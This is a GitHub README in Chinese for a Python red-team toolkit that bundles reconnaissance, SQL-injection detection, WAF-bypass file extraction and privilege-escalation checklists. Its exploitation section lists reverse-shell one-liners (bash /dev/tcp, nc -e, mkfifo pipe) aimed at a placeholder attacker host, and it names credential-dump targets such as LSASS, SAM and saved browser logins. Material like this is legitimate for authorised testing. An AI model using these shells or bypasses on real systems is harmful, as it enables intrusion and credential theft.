HudzaifahArrantisi/Awesome-RedTeam-Tools-ID
GitHub: HudzaifahArrantisi/Awesome-RedTeam-Tools-ID
RToolkit 是一个将 150 多个红队工具整合为统一 Python 脚本的多阶段自动化渗透测试工具包，覆盖侦察、漏洞分析、利用、后渗透与报告生成的完整红队操作链。
Stars: 2 | Forks: 0
# RToolkit v2.0 - 统一红队工具包
🔥 将来自 [RedTeam-Tools](https://github.com/A-poc/RedTeam-Tools) 的 150 多个红队工具整合为 **2 个 Python 脚本**：
- **rtoolkit.py** — 5 个主要阶段 + WAF 绕过与内容提取（纯 Python，跨平台）
- **rtoolkit-kali.py** — 深度 Kali 扫描器，集成了 Kali Linux 工具（nuclei、dirsearch、ffuf、paramspider、Arjun、x8、endpoints-extractor、nmap、whatweb、subfinder、httpx、nikto、sqlmap、wpscan），提供表格化输出 + 漏洞利用 payload
## 主要功能
### rtoolkit.py（跨平台，原生 Python）
| 阶段 | 描述 |
|------|-----------|
| **🔍 侦察与映射** | DNS 查询、子域名枚举（200+ 字典）、端口扫描（100+ 端口）、证书透明度（crt.sh）、深度目录爆破（300+ 路径，2 层深度）、技术/版本检测、子域名级联扫描、CVE 映射到 396+ 条 CVE 记录 |
| **🛡️ 漏洞分析** | 参数发现、SQL 注入检测（基于错误 + 基于时间 + 5 种数据库类型）、常见 Web 漏洞（.env、.git/config、.git/HEAD、phpinfo、wp-debug）、SSL/TLS 检查、安全标头审计、**WAF 绕过 + 内容提取（30+ 技术）** |
| **💥 漏洞利用** | 反向 shell 生成器（11 种类型：bash、python、nc、powershell、php、perl、ruby、nc_pipe、java、lua、golang）、msfvenom 命令、默认凭据检查器 |
| **🔧 后渗透与权限提升** | Windows 和 Linux 权限提升检查清单（各 15+ 项检查）、敏感文件查找器、内核漏洞利用建议 |
| **📄 报告生成** | 暗色主题交互式 HTML 报告、JSON 报告、严重性摘要（严重/高/中/低）、自动生成的修复建议 |
### rtoolkit-kali.py（仅限 Kali Linux — 使用真实工具的深度扫描器）
| 阶段 | Kali 工具 | 输出 |
|------|-----------|--------|
| **侦察** | nmap、whatweb、subfinder、httpx | 端口、服务、技术栈、子域名 |
| **目录枚举** | dirsearch、ffuf、gobuster | 隐藏路径、备份文件、管理面板 |
| **参数发现** | paramspider、ffuf、**endpoints-extractor**、**Arjun**、**x8** | 可注入参数 + 隐藏参数 |
| **高级参数发现** | endpoints-extractor → Arjun → x8 → 自动提供给 nuclei/sqlmap | 提取 URL endpoint，发现隐藏参数，自动测试注入 |
| **漏洞扫描** | nuclei、nikto、wpscan | **表格：漏洞 + 严重性 + URL + 漏洞利用命令** |
| **数据库利用** | psql、mysql、hydra、metasploit | PostgreSQL/MySQL/MSSQL 默认凭据、暴力破解、自动枚举、RCE payload |
| **漏洞利用** | sqlmap | SQLi 利用与数据库导出 |
### v2.0 新功能
- **绕过 WAF 的内容提取** — 不仅仅是检测，还会尝试 30 多种绕过 WAF/ADC 的技术（User-Agent 轮换、路径编码、HTTP/1.0、IP 欺骗、标头注入、会话 cookies、TE 分块、标签走私等），以获取敏感文件的内容
- **WAF/ADC 拦截检测** — 区分真正公开的文件与被 WAF 通过“Request Rejected”页面拦截的文件
- **深度目录爆破** — 381 个路径，2 层深度
- **CVE 映射** — 396+ 条 CVE 记录（Apache、Nginx、PHP、WordPress、Joomla、Drupal、MySQL、OpenSSL）
- **级联子域名扫描** — 自动扫描发现的子域名
## 安装说明
### Kali Linux / Debian
```
# 虚拟环境 (推荐)
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
```
### Windows
```
pip install requests colorama urllib3
```
### 依赖项 (requirements.txt)
```
requests
colorama
urllib3
```
## 使用说明
### 1. RToolkit（主工具包）
```
python rtoolkit.py
```
输入目标（域名/IP/URL），然后选择菜单：
```
1 - Reconnaissance & Mapping (Full Recon)
2 - Vulnerability Analysis (Vuln Scan + SQLi + WAF bypass)
3 - Exploitation (Reverse Shells + Payloads)
4 - Post-Exploitation & PrivEsc (Checklist)
5 - Generate Report (HTML + JSON)
6 - Tech Detection + CVE Mapping (Deep)
7 - 🚀 Run All (Full Pipeline 1-5)
```
**示例：**
```
Target: https://example.com
Pilih [0-7]: 2
```
### 2. RToolkit Kali-Pro v2.0（Kali Linux 深度扫描器）
该工具直接集成 Kali Linux 工具进行更深入的扫描，并提供表格化输出 + 漏洞利用 payload。
```
# 在 Kali Linux 中 (必须)
python3 rtoolkit-kali.py
```
**使用的 Kali 工具：**
| 工具 | 功能 |
|------|--------|
| **nuclei** | 漏洞扫描（严重/高/中），包含 5000+ 模板 |
| **dirsearch** | 目录与文件暴力破解（多扩展名） |
| **ffuf** | 参数模糊测试 + 深度内容发现 |
| **paramspider** | 通过 Wayback Machine + 爬虫发现参数 |
| **endpoints-extractor** | 从 HTML、JS、JSON 中提取 URL endpoint — [yogsec/endpoints-extractor](https://github.com/yogsec/endpoints-extractor) |
| **Arjun** | HTTP 参数发现套件（25,890+ 参数字典） — [s0md3v/Arjun](https://github.com/s0md3v/Arjun) |
| **x8** | 隐藏参数模糊测试工具（Rust，页面对比，高准确度） — [Sh1Yo/x8](https://github.com/Sh1Yo/x8) |
| **whatweb** | 技术指纹识别 |
| **nmap** | 端口扫描 + 服务版本检测 |
| **subfinder** | 被动子域名枚举 |
| **httpx** | 用于存活主机验证的 HTTP 探测 |
| **nikto** | Web 服务器漏洞扫描 |
| **sqlmap** | SQL 注入利用 |
| **wpscan** | WordPress 漏洞扫描器（检测到 WP 时自动运行） |
**特性：**
- 自动检测已安装的工具
- 解析来自 nuclei、ffuf、nikto、wpscan 的 JSON 输出
- **扫描结果表格**，包含列：漏洞、严重性、存在漏洞的 URL、漏洞利用命令
- 针对每个漏洞直接提供**漏洞利用 payload**（curl 命令、sqlmap 等）
- 按严重性分组（严重 → 高 → 中）
- 检测敏感文件：.env、.git、phpinfo、备份、配置、云凭据
**输出：**
```
[CRITICAL] Sensitive File: /.env
URL: https://target.com/.env
CMD: curl -s 'https://target.com/.env'
[HIGH] WordPress Plugin XSS
URL: https://target.com/wp-content/plugins/xyz
CMD: curl -s 'https://target.com/wp-content/plugins/xyz?param='
```
### 3. gen_cve.py（CVE 数据库生成器）
```
python gen_cve.py
```
**CVE 数据库覆盖范围：**
| 软件 | 覆盖版本 | CVE 数量 |
|----------|---------------|-----------|
| Apache | 2.0.x - 2.4.x | 20+ |
| Nginx | 0.8.x - 1.25.x | 15+ |
| PHP | 5.3.x - 8.3.x | 40+ |
| WordPress | 2.3 - 6.4.x | 150+ |
| Joomla | 3.8 - 5.0 | 30+ |
| MySQL | 5.5 - 8.0 | 25+ |
| OpenSSL | 1.0.2 - 3.2 | 50+ |
## 各阶段功能详情
### 1. 侦察与映射
- **DNS 查询**：A、AAAA、MX、NS、TXT、CNAME
- **证书透明度**：查询 crt.sh 以发现子域名
- **子域名枚举**：200+ 字典（www、mail、admin、api、dev、staging 等） + 级联扫描
- **端口扫描器**：100+ 常见端口（TCP 连接，50 个线程并发）
- **深度目录爆破**：381 个路径，2 层深度，递归
- **技术检测**：Server、PHP、CMS（WP/Joomla/Drupal）、JS 框架、CDN、cookies、标头
- **CVE 映射**：自动将版本匹配到本地 CVE 数据库（396+ CVE 记录）
- **WP 插件/主题枚举**：从 HTML 源代码检测插件和主题
- **安全标头**：HSTS、CSP、X-Frame-Options、X-Content-Type-Options 等
### 2. 漏洞分析
- **参数发现**：从表单、URL、查询字符串中提取（80+ 常见参数）
- **SQL 注入检测**：
- 基于错误：MySQL、MSSQL、Oracle、PostgreSQL、SQLite 特征
- 基于时间：SLEEP、WAITFOR DELAY、pg_sleep（阈值 2.5 秒）
- 测试前 10 个参数，每种类型 5 个 payload
- **常见漏洞检查**：.env、.git/config、.git/HEAD、phpinfo、wp-debug、备份、crossdomain.xml、server-status
- **WAF 绕过与内容提取**：
- 检测 WAF 拦截页面（"Request Rejected"、"Your support ID"）
- 尝试 30+ 绕过技术：User-Agent 轮换（8 种变体）、HTTP/1.0、POST/OPTIONS 方法、路径编码、空字节、IP 欺骗（X-Forwarded-For、X-Real-IP）、Range 请求、会话 cookies、Transfer-Encoding 分块、缓存绕过、HTTP 请求走私、标签走私
- 如果绕过成功，则显示文件内容
- **SSL/TLS 检查**：协议版本（TLSv1.0/1.1 = HIGH）、密码信息
- **安全标头审计**：缺失 HSTS、CSP、X-Content-Type-Options、X-Frame-Options
### 3. 漏洞利用
**反向 shell 生成器（11 种类型）：**
| 类型 | 命令示例 |
|------|----------------|
| bash | `bash -i >& /dev/tcp/LHOST/LPORT 0>&1` |
| python | `python3 -c 'import socket,subprocess,os;...'` |
| nc | `nc -e /bin/sh LHOST LPORT` |
| powershell | `powershell -NoP -NonI -W Hidden -Exec Bypass ...` |
| php | `php -r '$sock=fsockopen("LHOST",LPORT);exec(...)'` |
| perl | `perl -e 'use Socket;...'` |
| ruby | `ruby -rsocket -e 'c=TCPSocket.new(...)'` |
| nc_pipe | `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh...` |
| java | `Runtime.getRuntime().exec("/bin/bash -c ...")` |
| lua | `lua -e "local s=require('socket')..."` |
| golang | `go run -exec '...'` |
### 4. 后渗透与权限提升
**Windows（15 项检查）：**
未加引号的服务路径、AlwaysInstallElevated、计划任务、启动程序、注册表自动登录、SAM 备份、存储的凭据、Token 模拟、命名管道、DLL 劫持、弱服务权限、AppLocker 策略、WiFi 密码、Chrome 保存的登录凭据
**Linux（15 项检查）：**
SUID/SGID、Sudo -l、Capabilities、Cron 任务、PATH 劫持、NFS Root Squash、Docker Socket、内核漏洞利用（DirtyCow、DirtyPipe、PwnKit）、容器逃逸、SSH 密钥、AWS 密钥、Bash 历史记录
### 5. 报告生成
- **HTML 报告**：暗色主题、交互式、严重性徽章（CRITICAL/HIGH/MEDIUM/LOW）、颜色编码表格
- **JSON 报告**：机器可读格式，用于 SIEM/CI/CD 集成
- **摘要**：漏洞总数，严重/高/中/低数量统计
- **修复建议**：针对每个发现自动生成
## 输出文件
运行报告（菜单 5 或 7）后：
```
RToolkit_Report__.html
RToolkit_Report__.json
```
## 输出示例（WAF 绕过功能）
```
[+] Common Web Vulnerability Checks
🚫 WAF/ADC blocking /.env (269B)
Response: Request Rejected
Attempting 30+ bypass techniques...
❌ WAF blocking persistent — all bypass techniques failed
[+] SQL Injection Detection
Testing 1 parameters for SQL injection...
[OK] No SQL injection detected
[COMMON VULNS]
+----------------------+----------+-----------------------+--------+
│ Name │ Severity │ Path │ Status │
+----------------------+----------+-----------------------+--------+
│ .env File Exposure │ CRITICAL │ /.env │ 200 │
│ .git/config Exposure │ CRITICAL │ /.git/config │ 200 │
│ phpinfo() Exposure │ HIGH │ /phpinfo.php │ 200 │
+----------------------+----------+-----------------------+--------+
```
## 集成的工具
| 类别 | 参考工具 | 在 RToolkit 中的实现 |
|----------|----------------|--------------------------|
| **侦察** | spiderfoot, reconftw, subzy, crt.sh, httprobe, EyeWitness, jsendpoints, nuclei, certSniff, gobuster, feroxbuster, CloudBrute, dnsrecon, Shod, AORT, spoofcheck, AWSBucketDump, GitHarvester, truffleHog, Dismap, enum4linux, skanuvaty, Metabigor, Gitrob, gowitness | **内置**：DNS 查询、证书透明度（crt.sh）、子域名枚举（200+ 字典）、端口扫描器（100+ 端口）、深度目录爆破（381 个路径，2 层深度）、技术检测、CVE 映射 |
| **资源开发** | remoteinjector, Chimera, msfvenom, Shellter, Freeze, WordSteal, NTAPI, Kernel Callback, OffensiveVBA, WSH, HTA, VBA | **参考**：Payload 命令 |
| **初始访问** | CredMaster, TREVORspray, evilqr, CUPP, Bash Bunny, EvilGoPhish, SET, Hydra, SquarePhish, King Phisher | **参考**：暴力破解命令 |
| **执行** | Responder, secretsdump, evil-winrm, Donut, Macro_pack, PowerSploit, Rubeus, SharpUp, SQLRecon, UltimateAppLockerByPassList, StarFighters, demiguise, PowerZure | **内置**：反向 shell 生成器（11 种类型）、msfvenom 监听器 |
| **持久化** | Impacket, Empire, SharPersist, ligolo-ng | **参考**：C2 监听器命令 |
| **权限提升** | Crassus, LinPEAS, WinPEAS, linux-smart-enumeration, Certify, Get-GPPPassword, Sherlock, Watson, ImpulsiveDLLHijack, ADFSDump, BeRoot | **内置**：Windows/Linux 权限提升检查清单（30+ 项检查） |
| **防御绕过** | Invoke-Obfuscation, Veil, SharpBlock, Alcatraz, Mangle, AMSI Fail, ScareCrow, moonwalk | **参考**：混淆技巧 |
| **凭据访问** | Mimikatz, LaZagne, hashcat, John the Ripper, SCOMDecrypt, nanodump, eviltree, SeeYouCM-Thief, MailSniper, SharpChromium, dploot | **内置**：LSASS、SAM、注册表转储命令 |
| **发现** | PCredz, PingCastle, Seatbelt, ADRecon, adidnsdump, scavenger | **参考**：枚举命令 |
| **横向移动** | crackmapexec, WMIOps, PowerLessShell, PsExec, LiquidSnake, RDP enable, Jenkins shell, ADFSpoof, kerbrute, Coercer | **参考**：横向移动命令 |
| **收集** | BloodHound, Snaffler, linWinPwn | **参考**：AD 枚举 |
| **命令与控制** | Living Off Trusted Sites, Havoc, Covenant, Merlin, Metasploit, Pupy, Brute Ratel, NimPlant, Hoaxshell | **内置**：Metasploit 监听器命令 |
| **数据提取** | Dnscat2, Cloakify, PyExfil, PowerShell RAT, GD-Thief, goshs | **参考**：数据提取技术 |
| **影响** | Conti Guide, SlowLoris, usbkill, Keytap | **参考**：DoS 命令 |
## 免责声明
### 原始工具集
所有参考的工具均来自该仓库：
- **[A-poc/RedTeam-Tools](https://github.com/A-poc/RedTeam-Tools)** — 由 [@A-poc](https://github.com/A-poc) 收集的 150 多个用于红队活动的工具和资源
### 工具致谢（按类别）
#### 侦察
- [spiderfoot](https://github.com/smicallef/spiderfoot) 作者 @smicallef — 自动化 OSINT
- [reconftw](https://github.com/six2dez/reconftw) 作者 @six2dez — 自动化侦察
- [subzy](https://github.com/PentestPad/subzy) 作者 @PentestPad — 子域名接管
- [smtp-user-enum](https://github.com/cytopia/smtp-user-enum) 作者 @cytopia — SMTP 枚举
- [httprobe](https://github.com/tomnomnom/httprobe) 作者 @tomnomnom — HTTP 探测
- [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) 作者 @FortyNorthSecurity — 截图工具
- [jsendpoints](https://twitter.com/renniepak/status/1602620834463588352) 作者 @renniepak — JS endpoint 提取器
- [nuclei](https://github.com/projectdiscovery/nuclei) 作者 @projectdiscovery — 漏洞扫描器
- [certSniff](https://github.com/A-poc/certSniff) 作者 @A-poc — CT 日志监控
- [gobuster](https://www.kali.org/tools/gobuster/) — 目录暴力破解
- [feroxbuster](https://github.com/epi052/feroxbuster) 作者 @epi052 — 内容发现
- [CloudBrute](https://github.com/0xsha/CloudBrute) 作者 @0xsha — 云基础设施发现
- [dnsrecon](https://www.kali.org/tools/dnsrecon/) — DNS 枚举
- [Shodan.io](https://www.shodan.io/) — 基础设施搜索
- [AORT](https://github.com/D3Ext/AORT) 作者 @D3Ext — 多合一侦察
- [spoofcheck](https://github.com/BishopFox/spoofcheck) 作者 @BishopFox — SPF/DMARC 检查
- [AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) 作者 @jordanpotti — S3 枚举
- [GitHarvester](https://github.com/metac0rtex/GitHarvester) 作者 @metac0rtex — GitHub 搜索
- [truffleHog](https://github.com/dxa4481/truffleHog) 作者 @dxa4481 — GitHub 机密搜索
- [Dismap](https://github.com/zhzyker/dismap) 作者 @zhzyker — 资产发现
- [enum4linux](https://github.com/CiscoCXSecurity/enum4linux) 作者 @CiscoCXSecurity — Samba 枚举
- [skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty) 作者 @Esc4iCEscEsc — DNS/端口扫描器
- [Metabigor](https://github.com/j3ssie/metabigor) 作者 @j3ssie — OSINT 工具
- [Gitrob](https://github.com/michenriksen/gitrob) 作者 @mischenriksen — GitHub 扫描
- [gowitness](https://github.com/sensepost/gowitness) 作者 @sensepost — 网页截图
#### 资源开发
- [remoteinjector](https://github.com/TheBitSheikh/remoteinjector) 作者 @TheBitSheikh — Word 模板注入
- [Chimera](https://github.com/tokyoneon/Chimera) 作者 @tokyoneon — PowerShell 混淆
- [msfvenom](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html) — Payload 创建
- [Shellter](https://www.shellterproject.com/) — Shellcode 注入
- [Freeze](https://github.com/optiv/Freeze) 作者 @optiv — EDR 绕过
- [WordSteal](https://github.com/0x09AL/WordSteal) 作者 @0x09AL — NTLM 哈希窃取
- [OffensiveVBA](https://github.com/S3cur3Th1sSh1t/OffensiveVBA) 作者 @S3cur3Th1sSh1t — Office 宏
#### 初始访问
- [CredMaster](https://github.com/KnpHack/CredMaster) 作者 @KnpHack — 密码喷射
- [TREVORspray](https://github.com/blacklanternsecurity/TREVORspray) 作者 @blacklanternsecurity — 密码喷射器
- [evilqr](https://github.com/blacklanternsecurity/evilqr) 作者 @blacklanternsecurity — QRLJacking
- [CUPP](https://github.com/Mebus/cupp) 作者 @Mebus — 密码画像
- [EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish) 作者 @fin3ss3g0d — 钓鱼框架
- [SET](https://github.com/trustedsec/social-engineer-toolkit) 作者 @trustedsec — 社会工程学
- [Hydra](https://github.com/vanhauser-thc/thc-hydra) 作者 @vanhauser-thc — 暴力破解
- [SquarePhish](https://github.com/nick-ivanov/SquarePhish) 作者 @nick-ivanov — OAuth 钓鱼
- [King Phisher](https://github.com/securestate/king-phisher) 作者 @securestate — 钓鱼框架
#### 执行
- [Responder](https://github.com/lgandx/Responder) 作者 @lgandx — LLMNR/NBT-NS 投毒
- [secretsdump](https://github.com/SecureAuthCorp/impacket) 作者 @SecureAuthCorp — 远程哈希转储
- [evil-winrm](https://github.com/Hackplayers/evil-winrm) 作者 @Hackplayers — WinRM shell
- [Donut](https://github.com/TheWover/donut) 作者 @TheWover — .NET 执行
- [Macro_pack](https://github.com/sevagas/macro_pack) 作者 @sevagas — 宏混淆
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) 作者 @PowerShellMafia — PowerShell 套件
- [Rubeus](https://github.com/GhostPack/Rubeus) 作者 @GhostPack — AD 工具包
- [SharpUp](https://github.com/GhostPack/SharpUp) 作者 @GhostPack — 漏洞识别
- [SQLRecon](https://github.com/skahwah/SQLRecon) 作者 @skahwah — MS-SQL 工具包
- [StarFighters](https://github.com/Cn33liz/StarFighters) 作者 @Cn33liz — JS/VBS Empire 启动器
- [demiguise](https://github.com/nccgroup/demiguise) 作者 @nccgroup — HTA 加密
- [PowerZure](https://github.com/hausec/PowerZure) 作者 @hausec — Azure 评估
#### 持久化
- [Impacket](https://github.com/SecureAuthCorp/impacket) 作者 @SecureAuthCorp — Python 套件
- [Empire](https://github.com/BC-SECURITY/Empire) 作者 @BC-SECURITY — 后渗透
- [SharPersist](https://github.com/mandiant/SharPersist) 作者 @mandiant — Windows 持久化
- [ligolo-ng](https://github.com/nicocha30/ligolo-ng) 作者 @nicocha30 — 隧道
#### 权限提升
- [Crassus](https://github.com/nickvourd/Crassus) 作者 @nickvourd — Windows 权限提升
- [LinPEAS](https://github.com/peass-ng/PEASS-ng) 作者 @peass-ng — Linux 权限提升
- [WinPEAS](https://github.com/peass-ng/PEASS-ng) 作者 @peass-ng — Windows 权限提升
- [Certify](https://github.com/GhostPack/Certify) 作者 @GhostPack — AD 权限提升
- [Sherlock](https://github.com/rasta-mouse/Sherlock) 作者 @rasta-mouse — PowerShell 权限提升
- [Watson](https://github.com/rasta-mouse/Watson) 作者 @rasta-mouse — Windows 权限提升
- [BeRoot](https://github.com/AlessandroZ/BeRoot) 作者 @AlessandroZ — 多系统权限提升
#### 防御绕过
- [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) 作者 @danielbohannon — 脚本混淆器
- [Veil](https://github.com/Veil-Framework/Veil) 作者 @Veil-Framework — Payload 混淆器
- [SharpBlock](https://github.com/CCob/SharpBlock) 作者 @CCob — EDR 绕过
- [Alcatraz](https://github.com/weak1337/Alcatraz) 作者 @weak1337 — 二进制混淆器
- [Mangle](https://github.com/optiv/Mangle) 作者 @optiv — 可执行文件操作
- [AMSI Fail](https://github.com/Flangvik/AMSI-Fail) 作者 @Flangvik — AMSI 突破
- [ScareCrow](https://github.com/optiv/ScareCrow) 作者 @optiv — Payload 创建
- [moonwalk](https://github.com/mufeedvh/moonwalk) 作者 @mufeedvh — 日志清理
#### 凭据访问
- [Mimikatz](https://github.com/gentilkiwi/mimikatz) 作者 @gentilkiwi — 凭据提取器
- [LaZagne](https://github.com/AlessandroZ/LaZagne) 作者 @AlessandroZ — 密码提取器
- [hashcat](https://github.com/hashcat/hashcat) — 哈希破解
- [John the Ripper](https://github.com/openwall/john) 作者 @openwall — 哈希破解
- [nanodump](https://github.com/helpsystems/nanodump) 作者 @helpsystems — LSASS minidump
- [eviltree](https://github.com/t3l3machus/eviltree) 作者 @t3l3machus — 凭据发现
- [MailSniper](https://github.com/dafthack/MailSniper) 作者 @dafthack — Exchange 搜索
- [SharpChromium](https://github.com/djhohnstein/SharpChromium) 作者 @djhohnstein — Chromium 提取器
- [dploot](https://github.com/zblurx/dploot) 作者 @zblurx — DPAPI 窃取
#### 发现
- [PCredz](https://github.com/lgandx/PCredz) 作者 @lgandx — 凭据发现
- [PingCastle](https://github.com/vletoux/pingcastle) 作者 @vletoux — AD 评估
- [Seatbelt](https://github.com/GhostPack/Seatbelt) 作者 @GhostPack — 漏洞扫描器
- [ADRecon](https://github.com/sense-of-security/ADRecon) 作者 @sense-of-security — AD 侦察
#### 横向移动
- [crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) 作者 @byt3bl33d3r — AD 工具包
- [WMIOps](https://github.com/ChrisTruncer/WMIOps) 作者 @ChrisTruncer — WMI 命令
- [LiquidSnake](_URL_93/>) 作者 @RiccardoAncarani — 无文件横向移动
- [kerbrute](https://github.com/ropnop/kerbrute) 作者 @ropnop — Kerberos 暴力破解
- [Coercer](https://github.com/p0dalirius/Coercer) 作者 @p0dalirius — 身份验证强制
#### 收集
- [BloodHound](https://github.com/BloodHoundAD/BloodHound) 作者 @BloodHoundAD — AD 可视化
- [Snaffler](https://github.com/SnaffCon/Snaffler) 作者 @SnaffCon — 凭据收集器
- [linWinPwn](https://github.com/lefayjey/linWinPwn) 作者 @lefayjey — AD 枚举
#### 命令与控制
- [Havoc](https://github.com/HavocFramework/Havoc) 作者 @HavocFramework — C2 框架
- [Covenant](https://github.com/cobbr/Covenant) 作者 @cobbr — .NET C2
- [Merlin](https://github.com/Ne0nd0g/merlin) 作者 @Ne0nd0g — Golang C2
- [Metasploit](https://github.com/rapid7/metasploit-framework) 作者 @rapid7 — C2 框架
- [Pupy](https://github.com/n1nj4sec/pupy) 作者 @n1nj4sec — Python C2
- [NimPlant](https://github.com/chvancooten/NimPlant) 作者 @chvancooten — Nim C2
- [Hoaxshell](https://github.com/t3l3machus/hoaxshell) 作者 @t3l3machus — PowerShell 反向 shell
#### 数据提取
- [Dnscat2](https://github.com/iagox86/dnscat2) 作者 @iagox86 — DNS 隧道
- [Cloakify](https://github.com/TryCatchHCF/Cloakify) 作者 @TryCatchHCF — 数据转换
- [PyExfil](https://github.com/ytisf/PyExfil) 作者 @ytisf — 数据提取 PoC
- [goshs](https://github.com/Patrickhenke/goshs) 作者 @Patrickhenke — 文件传输
#### 影响
- [SlowLoris](https://github.com/gkbrk/slowloris) 作者 @gkbrk — DoS 工具
- [usbkill](https://github.com/hephaest0s/usbkill) 作者 @hephaest0s — 反取证开关
- [Keytap](https://github.com/ggerganov/kbd-audio) 作者 @ggerganov — 键盘音频
### 仓库致谢
- 原始工具集：[A-poc/RedTeam-Tools](https://github.com/A-poc/RedTeam-Tools) 作者 [@A-poc](https://github.com/A-poc)
## License
原始仓库 [A-poc/RedTeam-Tools](https://github.com/A-poc/RedTeam-Tools) 没有明确的许可证文件。所有引用的工具和资源均保留其各自原始仓库中的许可。
RToolkit（此 Python 脚本） — **MIT License** — 请明智且负责任地使用。
## 作者
出于教育和授权安全测试目的而开发。如有任何问题或想要贡献，请提交 issue 或 pull request。
标签：CISA项目, Python, Web报告查看器, 密码管理, 插件系统, 无后门, 自动化扫描器, 运行时操纵, 逆向工具